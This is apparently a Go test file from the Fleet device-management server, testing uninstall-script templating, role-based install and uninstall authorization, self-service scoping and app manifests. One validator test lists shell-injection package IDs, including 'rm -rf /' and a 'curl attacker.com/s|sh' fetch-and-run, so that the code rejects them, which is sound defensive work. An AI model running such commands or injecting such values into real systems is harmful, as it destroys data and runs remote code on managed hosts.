package service import ( "bytes" "context" "crypto/rand" "crypto/rsa" "crypto/sha256" "encoding/hex" "encoding/json" "errors" "fmt" "io" "log/slog" "net/http" "net/http/httptest" "os" "strings" "sync" "testing" "time" ma "github.com/fleetdm/fleet/v4/ee/maintained-apps" "github.com/fleetdm/fleet/v4/pkg/file" "github.com/fleetdm/fleet/v4/server/authz" "github.com/fleetdm/fleet/v4/server/config" authz_ctx "github.com/fleetdm/fleet/v4/server/contexts/authz" "github.com/fleetdm/fleet/v4/server/contexts/license" "github.com/fleetdm/fleet/v4/server/contexts/viewer" "github.com/fleetdm/fleet/v4/server/datastore/s3" "github.com/fleetdm/fleet/v4/server/dev_mode" "github.com/fleetdm/fleet/v4/server/fleet" "github.com/fleetdm/fleet/v4/server/mock" redismock "github.com/fleetdm/fleet/v4/server/mock/redis" svcmock "github.com/fleetdm/fleet/v4/server/mock/service" mocksoftware "github.com/fleetdm/fleet/v4/server/mock/software" "github.com/fleetdm/fleet/v4/server/ptr" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestPreProcessUninstallScript(t *testing.T) { t.Parallel() input := ` blah$PACKAGE_IDS pkgids=$PACKAGE_ID they are $PACKAGE_ID, right $MY_SECRET? quotes for "$PACKAGE_ID" blah${PACKAGE_ID}withConcat quotes and braces for "${PACKAGE_ID}" ${PACKAGE_ID}` payload := fleet.UploadSoftwareInstallerPayload{ Extension: "exe", UninstallScript: input, PackageIDs: []string{"com.foo"}, } require.NoError(t, preProcessUninstallScript(&payload)) expected := ` blah$PACKAGE_IDS pkgids='com.foo' they are 'com.foo', right $MY_SECRET? quotes for 'com.foo' blah'com.foo'withConcat quotes and braces for 'com.foo' 'com.foo'` assert.Equal(t, expected, payload.UninstallScript) payload = fleet.UploadSoftwareInstallerPayload{ Extension: "pkg", UninstallScript: input, PackageIDs: []string{"com.foo", "com.bar"}, } require.NoError(t, preProcessUninstallScript(&payload)) expected = ` blah$PACKAGE_IDS pkgids=( 'com.foo' 'com.bar' ) they are ( 'com.foo' 'com.bar' ), right $MY_SECRET? quotes for ( 'com.foo' 'com.bar' ) blah( 'com.foo' 'com.bar' )withConcat quotes and braces for ( 'com.foo' 'com.bar' ) ( 'com.foo' 'com.bar' )` assert.Equal(t, expected, payload.UninstallScript) payload.UninstallScript = "$UPGRADE_CODE" require.Error(t, preProcessUninstallScript(&payload)) payload.UpgradeCode = "foo" require.NoError(t, preProcessUninstallScript(&payload)) assert.Equal(t, `'foo'`, payload.UninstallScript) } func TestPreProcessUninstallScriptMaliciousInput(t *testing.T) { t.Parallel() maliciousIDs := []struct { name string id string }{ {"command substitution", "com.app$(id)"}, {"backtick execution", "app`id`"}, {"pipe injection", "app|rm -rf /"}, {"semicolon injection", "app;curl attacker.com"}, {"ampersand injection", "app&wget evil.com"}, {"redirect injection", "app>file"}, {"subshell injection", "com.app$(curl attacker.com/s|sh)"}, {"single quote escape attempt", "app'$(id)'"}, {"double quote injection", `app"$(id)"`}, {"backslash injection", `app\nid`}, {"newline injection", "app\nid"}, } for _, tc := range maliciousIDs { t.Run(tc.name, func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "deb", UninstallScript: "$PACKAGE_ID", PackageIDs: []string{tc.id}, } require.Error(t, preProcessUninstallScript(&payload), "expected error for malicious input: %s", tc.id) }) } // Verify valid identifiers still pass validIDs := []string{ "com.example.app", "ruby", "org.mozilla.firefox", "{12345-ABCDE-67890}", "Microsoft.VisualStudioCode", "package/name", "my-app_v2.0+build1", } for _, id := range validIDs { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "deb", UninstallScript: "$PACKAGE_ID", PackageIDs: []string{id}, } require.NoError(t, preProcessUninstallScript(&payload), "expected no error for valid input: %s", id) } } func TestPreProcessUninstallScriptSkipsValidationWhenNoTemplateVars(t *testing.T) { t.Parallel() // Non-ASCII package ID that would fail the safeIdentifierRegex validation nonASCIIID := "CrossCore\u00ae Embedded Studio v3.0.2" t.Run("non-ASCII ID succeeds when script has no template vars", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "exe", UninstallScript: `$softwareName = "CrossCore Embedded Studio"`, PackageIDs: []string{nonASCIIID}, } require.NoError(t, preProcessUninstallScript(&payload)) assert.Equal(t, `$softwareName = "CrossCore Embedded Studio"`, payload.UninstallScript) }) t.Run("non-ASCII ID succeeds when script uses PACKAGE_ID", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "exe", UninstallScript: "$PACKAGE_ID", PackageIDs: []string{nonASCIIID}, } require.NoError(t, preProcessUninstallScript(&payload)) assert.Contains(t, payload.UninstallScript, "'"+nonASCIIID+"'") }) t.Run("non-ASCII upgrade code succeeds when script has no UPGRADE_CODE", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "msi", UninstallScript: "msiexec /x $PACKAGE_ID /quiet", PackageIDs: []string{"valid-id"}, UpgradeCode: "code\u00ae", } require.NoError(t, preProcessUninstallScript(&payload)) assert.Contains(t, payload.UninstallScript, "'valid-id'") }) t.Run("non-ASCII upgrade code succeeds when script uses UPGRADE_CODE", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "msi", UninstallScript: "msiexec /x $UPGRADE_CODE /quiet", PackageIDs: []string{"valid-id"}, UpgradeCode: "code\u00ae", } require.NoError(t, preProcessUninstallScript(&payload)) assert.Contains(t, payload.UninstallScript, "'code\u00ae'") }) t.Run("dmg skips validation entirely", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "dmg", UninstallScript: "$PACKAGE_ID\n\necho 'foo'", PackageIDs: []string{nonASCIIID}, } require.NoError(t, preProcessUninstallScript(&payload)) require.Equal(t, "$PACKAGE_ID\n\necho 'foo'", payload.UninstallScript) // confirm no variable substitution }) t.Run("zip skips validation entirely", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "zip", UninstallScript: "$PACKAGE_ID\n\necho 'foo'", PackageIDs: []string{nonASCIIID}, } require.NoError(t, preProcessUninstallScript(&payload)) require.Equal(t, "$PACKAGE_ID\n\necho 'foo'", payload.UninstallScript) // confirm no variable substitution }) t.Run("empty PackageIDs skips processing", func(t *testing.T) { payload := fleet.UploadSoftwareInstallerPayload{ Extension: "exe", UninstallScript: "$PACKAGE_ID", PackageIDs: []string{}, } require.NoError(t, preProcessUninstallScript(&payload)) require.Equal(t, "$PACKAGE_ID", payload.UninstallScript) // confirm no variable substitution }) } func TestInstallUninstallAuth(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.AppConfigFunc = func(ctx context.Context) (*fleet.AppConfig, error) { return &fleet.AppConfig{ ServerSettings: fleet.ServerSettings{ScriptsDisabled: true}, }, nil } ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ OrbitNodeKey: ptr.String("orbit_key"), Platform: "darwin", TeamID: ptr.Uint(1), }, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool, ) (*fleet.SoftwareInstaller, error) { return &fleet.SoftwareInstaller{ Name: "installer.pkg", Platform: "darwin", TeamID: ptr.Uint(1), }, nil } mockSoftwarePackagesFromMetadata(ds) ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID uint, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ds.ResetNonPolicyInstallAttemptsFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint) error { return nil } ds.InsertSoftwareInstallRequestFunc = func(ctx context.Context, hostID uint, softwareInstallerID uint, opts fleet.HostSoftwareInstallOptions) (string, error, ) { return "request_id", nil } ds.GetAnyScriptContentsFunc = func(ctx context.Context, id uint) ([]byte, error) { return []byte("script"), nil } ds.InsertSoftwareUninstallRequestFunc = func(ctx context.Context, executionID string, hostID uint, softwareInstallerID uint, selfService bool) error { return nil } ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return true, nil } testCases := []struct { name string user *fleet.User shouldFail bool }{ { "global admin", &fleet.User{GlobalRole: ptr.String(fleet.RoleAdmin)}, false, }, { "global maintainer", &fleet.User{GlobalRole: ptr.String(fleet.RoleMaintainer)}, false, }, { "global observer", &fleet.User{GlobalRole: ptr.String(fleet.RoleObserver)}, true, }, { "team admin", &fleet.User{Teams: []fleet.UserTeam{{Team: fleet.Team{ID: 1}, Role: fleet.RoleAdmin}}}, false, }, { "team maintainer", &fleet.User{Teams: []fleet.UserTeam{{Team: fleet.Team{ID: 1}, Role: fleet.RoleMaintainer}}}, false, }, { "team observer", &fleet.User{Teams: []fleet.UserTeam{{Team: fleet.Team{ID: 1}, Role: fleet.RoleObserver}}}, true, }, } for _, tt := range testCases { t.Run(tt.name, func(t *testing.T) { ctx := viewer.NewContext(context.Background(), viewer.Viewer{User: tt.user}) checkAuthErr(t, tt.shouldFail, svc.InstallSoftwareTitle(ctx, 1, 10)) checkAuthErr(t, tt.shouldFail, svc.UninstallSoftwareTitle(ctx, 1, 10)) }) } } func TestUninstallSoftwareTitle(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) host := &fleet.Host{ OrbitNodeKey: ptr.String("orbit_key"), Platform: "darwin", TeamID: ptr.Uint(1), } ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return host, nil } ds.AppConfigFunc = func(ctx context.Context) (*fleet.AppConfig, error) { return &fleet.AppConfig{ ServerSettings: fleet.ServerSettings{ ScriptsDisabled: true, }, }, nil } host.ScriptsEnabled = ptr.Bool(false) require.ErrorContains(t, svc.UninstallSoftwareTitle(context.Background(), 1, 10), fleet.RunScriptsOrbitDisabledErrMsg) } // TestUninstallSoftwareTitleSelfServiceScope covers the My Device uninstall path // resolving its package the same way the self-service install path does, while // callers acting with a role keep the unscoped lookup. func TestUninstallSoftwareTitleSelfServiceScope(t *testing.T) { t.Parallel() const ( selfServiceInstallerID = uint(1) notSelfServiceInstallerID = uint(2) ) deviceContext := func() context.Context { authzCtx := &authz_ctx.AuthorizationContext{} authzCtx.SetAuthnMethod(authz_ctx.AuthnDeviceToken) return authz_ctx.NewContext(context.Background(), authzCtx) } adminContext := func() context.Context { return viewer.NewContext(context.Background(), viewer.Viewer{ User: &fleet.User{GlobalRole: new(fleet.RoleAdmin)}, }) } pkg := func(id uint, selfService bool) *fleet.SoftwareInstaller { return &fleet.SoftwareInstaller{ InstallerID: id, Name: "installer.pkg", Platform: "darwin", TeamID: new(uint(1)), SelfService: selfService, } } testCases := []struct { name string // packages of the title, first-added first. packages []*fleet.SoftwareInstaller // inScope reports label scoping per installer ID; missing means in scope. outOfScope map[uint]bool asAdmin bool wantErrContains string wantInstallerID uint }{ { name: "device, self-service and in scope", packages: []*fleet.SoftwareInstaller{pkg(selfServiceInstallerID, true)}, wantInstallerID: selfServiceInstallerID, }, { name: "device, not self-service", packages: []*fleet.SoftwareInstaller{pkg(notSelfServiceInstallerID, false)}, wantErrContains: "not available through self-service", }, { name: "device, self-service but out of label scope", packages: []*fleet.SoftwareInstaller{pkg(selfServiceInstallerID, true)}, outOfScope: map[uint]bool{selfServiceInstallerID: true}, wantErrContains: "isn't member of the labels", }, { name: "device, not self-service and out of label scope", packages: []*fleet.SoftwareInstaller{pkg(notSelfServiceInstallerID, false)}, outOfScope: map[uint]bool{notSelfServiceInstallerID: true}, wantErrContains: "isn't member of the labels", }, { name: "device, title has no packages", packages: []*fleet.SoftwareInstaller{}, wantErrContains: "not available for uninstall", }, { // First-added wins on the install path, so it has to win here too. name: "device, several eligible packages", packages: []*fleet.SoftwareInstaller{ pkg(selfServiceInstallerID, true), pkg(notSelfServiceInstallerID+1, true), }, wantInstallerID: selfServiceInstallerID, }, { // The first-added package is ineligible, so the next one is used. name: "device, first-added package not self-service", packages: []*fleet.SoftwareInstaller{ pkg(notSelfServiceInstallerID, false), pkg(notSelfServiceInstallerID+1, true), }, wantInstallerID: notSelfServiceInstallerID + 1, }, { name: "device, first-added package out of scope", packages: []*fleet.SoftwareInstaller{ pkg(selfServiceInstallerID, true), pkg(notSelfServiceInstallerID+1, true), }, outOfScope: map[uint]bool{selfServiceInstallerID: true}, wantInstallerID: notSelfServiceInstallerID + 1, }, { // A role-bearing caller can still remove ineligible software. name: "admin, not self-service and out of label scope", packages: []*fleet.SoftwareInstaller{pkg(notSelfServiceInstallerID, false)}, outOfScope: map[uint]bool{notSelfServiceInstallerID: true}, asAdmin: true, wantInstallerID: notSelfServiceInstallerID, }, } for _, tt := range testCases { t.Run(tt.name, func(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) ds.AppConfigFunc = func(ctx context.Context) (*fleet.AppConfig, error) { return &fleet.AppConfig{}, nil } ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return &fleet.Host{ ID: id, OrbitNodeKey: new("orbit_key"), Platform: "darwin", TeamID: new(uint(1)), }, nil } ds.GetSoftwarePackagesByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) ([]*fleet.SoftwareInstaller, error) { return tt.packages, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, withScriptContents bool, ) (*fleet.SoftwareInstaller, error) { if len(tt.packages) == 0 { return nil, ¬FoundError{} } return tt.packages[0], nil } ds.IsSoftwareInstallerLabelScopedFunc = func(ctx context.Context, installerID, hostID uint) (bool, error) { return !tt.outOfScope[installerID], nil } ds.GetHostLastInstallDataFunc = func(ctx context.Context, hostID, installerID uint) (*fleet.HostLastInstallData, error) { return nil, nil } ds.GetAnyScriptContentsFunc = func(ctx context.Context, id uint) ([]byte, error) { return []byte("script"), nil } var gotInstallerID uint var gotSelfService bool ds.InsertSoftwareUninstallRequestFunc = func(ctx context.Context, executionID string, hostID uint, softwareInstallerID uint, selfService bool, ) error { gotInstallerID = softwareInstallerID gotSelfService = selfService return nil } ctx := deviceContext() if tt.asAdmin { ctx = adminContext() } err := svc.UninstallSoftwareTitle(ctx, 1, 10) // The unscoped lookup ignores self-service and label scope, so a My // Device caller must never reach it, whatever the outcome. require.Equal(t, tt.asAdmin, ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFuncInvoked) if tt.wantErrContains != "" { require.ErrorContains(t, err, tt.wantErrContains) require.False(t, ds.InsertSoftwareUninstallRequestFuncInvoked) return } require.NoError(t, err) require.True(t, ds.InsertSoftwareUninstallRequestFuncInvoked) require.Equal(t, tt.wantInstallerID, gotInstallerID) require.Equal(t, !tt.asAdmin, gotSelfService) }) } } func TestInstallSoftwareTitleAllowsPersonallyEnrolledDevices(t *testing.T) { t.Parallel() ds := new(mock.Store) svc := newTestService(t, ds) // Personally-enrolled iOS/iPadOS hosts must reach the install lookup; the // BYOD gate that previously short-circuited them is removed in #43998. // Returning NotFound from the in-house and VPP app lookups makes the code // surface the standard "title not available" error — proving we got past // the old gate without entangling this test in the install flow. ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { return nil, nil } ds.GetVPPAppByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.VPPApp, error) { return nil, ¬FoundError{} } ctx := viewer.NewContext(context.Background(), viewer.Viewer{User: &fleet.User{GlobalRole: ptr.String(fleet.RoleAdmin)}}) host := &fleet.Host{ UUID: "personal-ios", OrbitNodeKey: ptr.String("orbit_key"), Platform: "ios", TeamID: ptr.Uint(1), MDM: fleet.MDMHostData{ EnrollmentStatus: ptr.String(string(fleet.MDMEnrollStatusPersonal)), }, } ds.HostFunc = func(ctx context.Context, id uint) (*fleet.Host, error) { return host, nil } err := svc.InstallSoftwareTitle(ctx, 1, 10) require.Error(t, err) require.NotContains(t, err.Error(), fleet.InstallSoftwarePersonalAppleDeviceErrMsg, "BYOD gate must no longer block install for personally-enrolled iOS/iPadOS hosts") require.ErrorContains(t, err, "Software title is not available for install", "control flow must reach the standard not-found path") } func TestSoftwareInstallerPayloadFromSlug(t *testing.T) { ds := new(mock.Store) svc := newTestService(t, ds) installerBytes := []byte("1password") h := sha256.New() _, err := h.Write(installerBytes) require.NoError(t, err) onePasswordSHA := hex.EncodeToString(h.Sum(nil)) manifestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { slug := strings.TrimPrefix(strings.TrimSuffix(r.URL.Path, ".json"), "/") var versions []*ma.FMAManifestApp versions = append(versions, &ma.FMAManifestApp{ Version: "1", Queries: ma.FMAQueries{ Exists: "SELECT 1 FROM osquery_info;", }, InstallerURL: fmt.Sprintf("/installer-%s.zip", slug), InstallScriptRef: "installscript", UninstallScriptRef: "uninstallscript", DefaultCategories: []string{"Productivity"}, }) manifest := ma.FMAManifestFile{ Versions: versions, Refs: map[string]string{ "installscript": "echo 'installing'", "uninstallscript": "echo 'uninstalling'", }, } switch slug { case "": w.WriteHeader(http.StatusNotFound) return case "1password/darwin": manifest.Versions[0].SHA256 = onePasswordSHA case "google-chrome/darwin": manifest.Versions[0].SHA256 = "no_check" } err := json.NewEncoder(w).Encode(manifest) require.NoError(t, err) })) t.Cleanup(manifestServer.Close) dev_mode.SetOverride("FLEET_DEV_MAINTAINED_APPS_BASE_URL", manifestServer.URL, t) ds.GetMaintainedAppBySlugFunc = func(ctx context.Context, slug string, teamID *uint) (*fleet.MaintainedApp, error) { return &fleet.MaintainedApp{ ID: 1, Name: "1Password", Platform: "darwin", UniqueIdentifier: "com.1password.1password", Slug: "1password/darwin", }, nil } payload := fleet.SoftwareInstallerPayload{Slug: ptr.String("1password/darwin")} err = svc.softwareInstallerPayloadFromSlug(context.Background(), &payload, nil) require.NoError(t, err) assert.NotEmpty(t, payload.URL) assert.Equal(t, onePasswordSHA, payload.SHA256) assert.NotEmpty(t, payload.InstallScript) assert.NotEmpty(t, payload.UninstallScript) assert.True(t, payload.FleetMaintained) ds.GetMaintainedAppBySlugFunc = func(ctx context.Context, slug string, teamID *uint) (*fleet.MaintainedApp, error) { return &fleet.MaintainedApp{ ID: 1, Name: "Google Chrome", Platform: "darwin", UniqueIdentifier: "com.google.Chrome", Slug: "google-chrome/darwin", }, nil } payload = fleet.SoftwareInstallerPayload{Slug: ptr.String("google-chrome/darwin")} err = svc.softwareInstallerPayloadFromSlug(context.Background(), &payload, nil) require.NoError(t, err) assert.NotEmpty(t, payload.URL) assert.Empty(t, payload.SHA256) assert.NotEmpty(t, payload.InstallScript) assert.NotEmpty(t, payload.UninstallScript) assert.True(t, payload.FleetMaintained) payload = fleet.SoftwareInstallerPayload{URL: "https://fleetdm.com"} err = svc.softwareInstallerPayloadFromSlug(context.Background(), &payload, nil) require.NoError(t, err) assert.Nil(t, payload.Slug) assert.Equal(t, "https://fleetdm.com", payload.URL) assert.Empty(t, payload.SHA256) assert.Empty(t, payload.InstallScript) assert.Empty(t, payload.UninstallScript) assert.False(t, payload.FleetMaintained) ds.GetMaintainedAppBySlugFunc = func(ctx context.Context, slug string, teamID *uint) (*fleet.MaintainedApp, error) { return &fleet.MaintainedApp{ ID: 1, Name: "1Password", Platform: "darwin", UniqueIdentifier: "com.1password.1password", Slug: "1password/darwin", TitleID: new(uint(1)), }, nil } ds.GetFleetMaintainedVersionsByTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint, byVersion bool) ([]fleet.FleetMaintainedVersion, error) { return []fleet.FleetMaintainedVersion{{ID: 1, Version: "26.0.0"}}, nil } ds.GetCachedFMAInstallerMetadataFunc = func(ctx context.Context, teamID *uint, fmaID uint, version string) (*fleet.MaintainedApp, error) { return &fleet.MaintainedApp{ ID: 1, Name: "1Password", Platform: "darwin", UniqueIdentifier: "com.1password.1password", Slug: "1password/darwin", }, nil } versionPinValidationTests := []struct { name string version string wantErr string }{ { name: "valid", version: "^26", }, { name: "no version", version: "^", wantErr: errEmptyCaretVersion.Error(), }, { name: "invalid version", version: "^26.0", wantErr: errNonMajorVersion.Error(), }, } for _, vt := range versionPinValidationTests { t.Run(vt.name, func(t *testing.T) { payload := fleet.SoftwareInstallerPayload{Slug: ptr.String("1password/darwin"), RollbackVersion: vt.version} err = svc.softwareInstallerPayloadFromSlug(context.Background(), &payload, nil) if vt.wantErr != "" { require.Error(t, err) require.ErrorContains(t, err, vt.wantErr) } else { require.NoError(t, err) // RollbackVersion must be left as the user typed it, including a caret, so the pin expression // survives downstream and is persisted to software_title_team_pins. require.Equal(t, vt.version, payload.RollbackVersion) } }) } } func TestGetInHouseAppManifest(t *testing.T) { ds := new(mock.Store) svc := newTestService(t, ds) ctx := context.Background() const validToken = "00000000-0000-0000-0000-000000000001" ds.AppConfigFunc = func(ctx context.Context) (*fleet.AppConfig, error) { return &fleet.AppConfig{ServerSettings: fleet.ServerSettings{ServerURL: "https://example.com"}}, nil } ds.GetInHouseAppInstallTokenMetadataFunc = func(ctx context.Context, token string) (*fleet.InHouseAppInstallTokenMetadata, error) { if token == validToken { return &fleet.InHouseAppInstallTokenMetadata{ Token: validToken, SoftwareTitleID: 1, TeamID: 0, HostID: 7, ExpiresAt: time.Now().Add(time.Hour), }, nil } return nil, ¬FoundError{} } ds.GetInHouseAppMetadataByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) (*fleet.SoftwareInstaller, error) { if titleID == 1 { return &fleet.SoftwareInstaller{ BundleIdentifier: "com.foo.bar", Version: "1.2.3", SoftwareTitle: "test in-house app", StorageID: "123storageid", }, nil } return nil, ¬FoundError{} } expected := ` items assets kind software-package url https://example.com/api/latest/fleet/software/titles/1/in_house_app/00000000-0000-0000-0000-000000000001 kind display-image needs-shine url metadata bundle-identifier com.foo.bar bundle-version 1.2.3 kind software title test in-house app ` manifest, err := svc.GetInHouseAppManifest(ctx, 1, validToken) require.NoError(t, err) assert.Equal(t, expected, string(manifest)) _, err = svc.GetInHouseAppManifest(ctx, 1, "ffffffff-ffff-ffff-ffff-ffffffffffff") require.Error(t, err) var permErr *fleet.PermissionError require.ErrorAs(t, err, &permErr) // Wrong-length token is rejected before a DB lookup happens. ds.GetInHouseAppInstallTokenMetadataFuncInvoked = false _, err = svc.GetInHouseAppManifest(ctx, 1, "short") require.Error(t, err) require.ErrorAs(t, err, &permErr) require.False(t, ds.GetInHouseAppInstallTokenMetadataFuncInvoked) _, err = svc.GetInHouseAppManifest(ctx, 2, validToken) require.Error(t, err) require.ErrorAs(t, err, &permErr) signer, _ := rsa.GenerateKey(rand.Reader, 2048) svc.config.S3.SoftwareInstallersCloudFrontSigner = signer signerURL := "https://example.cloudfront.net" s3Config := config.S3Config{ SoftwareInstallersCloudFrontURL: signerURL, SoftwareInstallersCloudFrontURLSigningPublicKeyID: "ABC123XYZ", SoftwareInstallersCloudFrontSigner: signer, } s3Store, err := s3.NewTestSoftwareInstallerStore(s3Config) require.NoError(t, err) svc.softwareInstallStore = s3Store manifest, err = svc.GetInHouseAppManifest(ctx, 1, validToken) require.NoError(t, err) require.Contains(t, string(manifest), signerURL) } func TestGetInHouseAppPackageTokenAuth(t *testing.T) { ds := new(mock.Store) svc := newTestService(t, ds) ctx := context.Background() const validToken = "00000000-0000-0000-0000-000000000002" ds.GetInHouseAppInstallTokenMetadataFunc = func(ctx context.Context, token string) (*fleet.InHouseAppInstallTokenMetadata, error) { if token == validToken { return &fleet.InHouseAppInstallTokenMetadata{ Token: validToken, SoftwareTitleID: 5, TeamID: 2, HostID: 7, ExpiresAt: time.Now().Add(time.Hour), }, nil } return nil, ¬FoundError{} } // Unknown token → permission error before the metadata mock would fire. _, err := svc.GetInHouseAppPackage(ctx, 5, "ffffffff-ffff-ffff-ffff-ffffffffffff") require.Error(t, err) var permErr *fleet.PermissionError require.ErrorAs(t, err, &permErr) require.False(t, ds.GetInHouseAppMetadataByTeamAndTitleIDFuncInvoked) _, err = svc.GetInHouseAppPackage(ctx, 99, validToken) require.Error(t, err) require.ErrorAs(t, err, &permErr) require.False(t, ds.GetInHouseAppMetadataByTeamAndTitleIDFuncInvoked) } func checkAuthErr(t *testing.T, shouldFail bool, err error) { t.Helper() if shouldFail { require.Error(t, err) var forbiddenError *authz.Forbidden require.ErrorAs(t, err, &forbiddenError) } else { require.NoError(t, err) } } // TestBatchNeedsWindowsTitleReconcile pins the predicate that decides whether a GitOps // batch kicks the Windows title reconcile. A false negative here is invisible: the batch // succeeds, the uninstall action stays hidden, and nothing surfaces until the periodic // pass runs up to an hour later. func TestBatchNeedsWindowsTitleReconcile(t *testing.T) { fmaID := uint(7) cases := []struct { name string installers []*fleet.UploadSoftwareInstallerPayload want bool }{ {"empty batch", nil, false}, { "custom installers only", []*fleet.UploadSoftwareInstallerPayload{ {Title: "Custom", Platform: "windows"}, {Title: "Other", Platform: "darwin"}, }, false, }, { "maintained app present", []*fleet.UploadSoftwareInstallerPayload{ {Title: "Custom", Platform: "windows"}, {Title: "Granola", Platform: "windows", FleetMaintainedAppID: &fmaID}, }, true, }, { // Deliberately still true: the platform is not part of the decision, since it // is not reliably populated this far down the batch payload chain and the // reconcile is a no-op for non-Windows apps anyway. "maintained app with no platform set", []*fleet.UploadSoftwareInstallerPayload{ {Title: "Granola", FleetMaintainedAppID: &fmaID}, }, true, }, { "nil entries are skipped", []*fleet.UploadSoftwareInstallerPayload{nil, {Title: "Custom"}}, false, }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { require.Equal(t, c.want, batchNeedsWindowsTitleReconcile(c.installers)) }) } } func newTestService(t *testing.T, ds fleet.Datastore) *Service { t.Helper() authorizer, err := authz.NewAuthorizer() require.NoError(t, err) defaultMockCustomHostVitalsValidation(ds) svc := &Service{ authz: authorizer, ds: ds, logger: slog.New(slog.NewTextHandler(io.Discard, nil)), } return svc } // mockSoftwarePackagesFromMetadata wires GetSoftwarePackagesByTeamAndTitleID (used by the install // precedence resolver) to return the single installer that GetSoftwareInstallerMetadataByTeamAndTitleID // yields, so install-path unit tests keep their installer defined in one place. func mockSoftwarePackagesFromMetadata(ds *mock.Store) { ds.GetSoftwarePackagesByTeamAndTitleIDFunc = func(ctx context.Context, teamID *uint, titleID uint) ([]*fleet.SoftwareInstaller, error) { si, err := ds.GetSoftwareInstallerMetadataByTeamAndTitleID(ctx, teamID, titleID, false) if err != nil { return nil, err } return []*fleet.SoftwareInstaller{si}, nil } } func newTestServiceWithMock(t *testing.T, ds fleet.Datastore) (*Service, *svcmock.Service) { t.Helper() authorizer, err := authz.NewAuthorizer() require.NoError(t, err) defaultMockCustomHostVitalsValidation(ds) baseSvc := new(svcmock.Service) svc := &Service{ Service: baseSvc, authz: authorizer, ds: ds, } return svc, baseSvc } func TestUpdateSoftwareInstallerMatchesSoftwareIdentity(t *testing.T) { const ( titleID = uint(42) targetInstallerID = uint(2) ) type testState struct { svc *Service ds *mock.Store ctx context.Context installer *fleet.SoftwareInstaller teamID uint } setup := func(t *testing.T, storedTitleName, filename, extension, platform, storageID string, packageIDs []string, multiplePackages bool) testState { t.Helper() ds := new(mock.Store) svc, baseSvc := newTestServiceWithMock(t, ds) teamID := uint(0) installer := &fleet.SoftwareInstaller{ TeamID: &teamID, TitleID: new(titleID), Name: filename, Extension: extension, Version: "0.9.0", Platform: platform, PackageIDList: strings.Join(packageIDs, ","), InstallerID: targetInstallerID, InstallScript: "install", UninstallScript: "uninstall", StorageID: storageID, SoftwareTitle: storedTitleName, } installerCount := 1 firstInstaller := installer if multiplePackages { installerCount = 2 firstInstaller = &fleet.SoftwareInstaller{ TeamID: &teamID, TitleID: new(titleID), Name: filename, Extension: extension, Platform: platform, InstallerID: 1, StorageID: "first-installer-storage-id", SoftwareTitle: storedTitleName, } ds.GetSoftwarePackagesByTeamAndTitleIDFunc = func(ctx context.Context, gotTeamID *uint, gotTitleID uint) ([]*fleet.SoftwareInstaller, error) { require.Equal(t, &teamID, gotTeamID) require.Equal(t, titleID, gotTitleID) return []*fleet.SoftwareInstaller{firstInstaller, installer}, nil } } ds.ValidateEmbeddedSecretsFunc = func(context.Context, []string) error { return nil } ds.SoftwareTitleByIDFunc = func(ctx context.Context, gotTitleID uint, gotTeamID *uint, _ fleet.TeamFilter) (*fleet.SoftwareTitle, error) { require.Equal(t, titleID, gotTitleID) require.Equal(t, &teamID, gotTeamID) return &fleet.SoftwareTitle{ ID: titleID, Name: storedTitleName, SoftwareInstallersCount: installerCount, }, nil } ds.GetSoftwareInstallerMetadataByTeamAndTitleIDFunc = func(ctx context.Context, gotTeamID *uint, gotTitleID uint, withScripts bool) (*fleet.SoftwareInstaller, error) { require.Equal(t, &teamID, gotTeamID) require.Equal(t, titleID, gotTitleID) require.True(t, withScripts) return firstInstaller, nil } ds.GetSoftwareInstallerMetadataByTeamTitleAndInstallerIDFunc = func(ctx context.Context, gotTeamID *uint, gotTitleID, gotInstallerID uint, withScripts bool) (*fleet.SoftwareInstaller, error) { require.Equal(t, &teamID, gotTeamID) require.Equal(t, titleID, gotTitleID) require.Equal(t, targetInstallerID, gotInstallerID) require.True(t, withScripts) return installer, nil } ds.SaveInstallerUpdatesFunc = func(ctx context.Context, payload *fleet.UpdateSoftwareInstallerPayload) error { require.Equal(t, targetInstallerID, payload.InstallerID) installer.Name = payload.Filename installer.Version = payload.Version installer.PackageIDList = strings.Join(payload.PackageIDs, ",") installer.UpgradeCode = payload.UpgradeCode installer.StorageID = payload.StorageID return nil } ds.ProcessInstallerUpdateSideEffectsFunc = func(ctx context.Context, installerID uint, metadataUpdated, packageUpdated bool) error { require.Equal(t, targetInstallerID, installerID) require.True(t, metadataUpdated) require.True(t, packageUpdated) return nil } ds.GetSummaryHostSoftwareInstallsFunc = func(ctx context.Context, installerID uint) 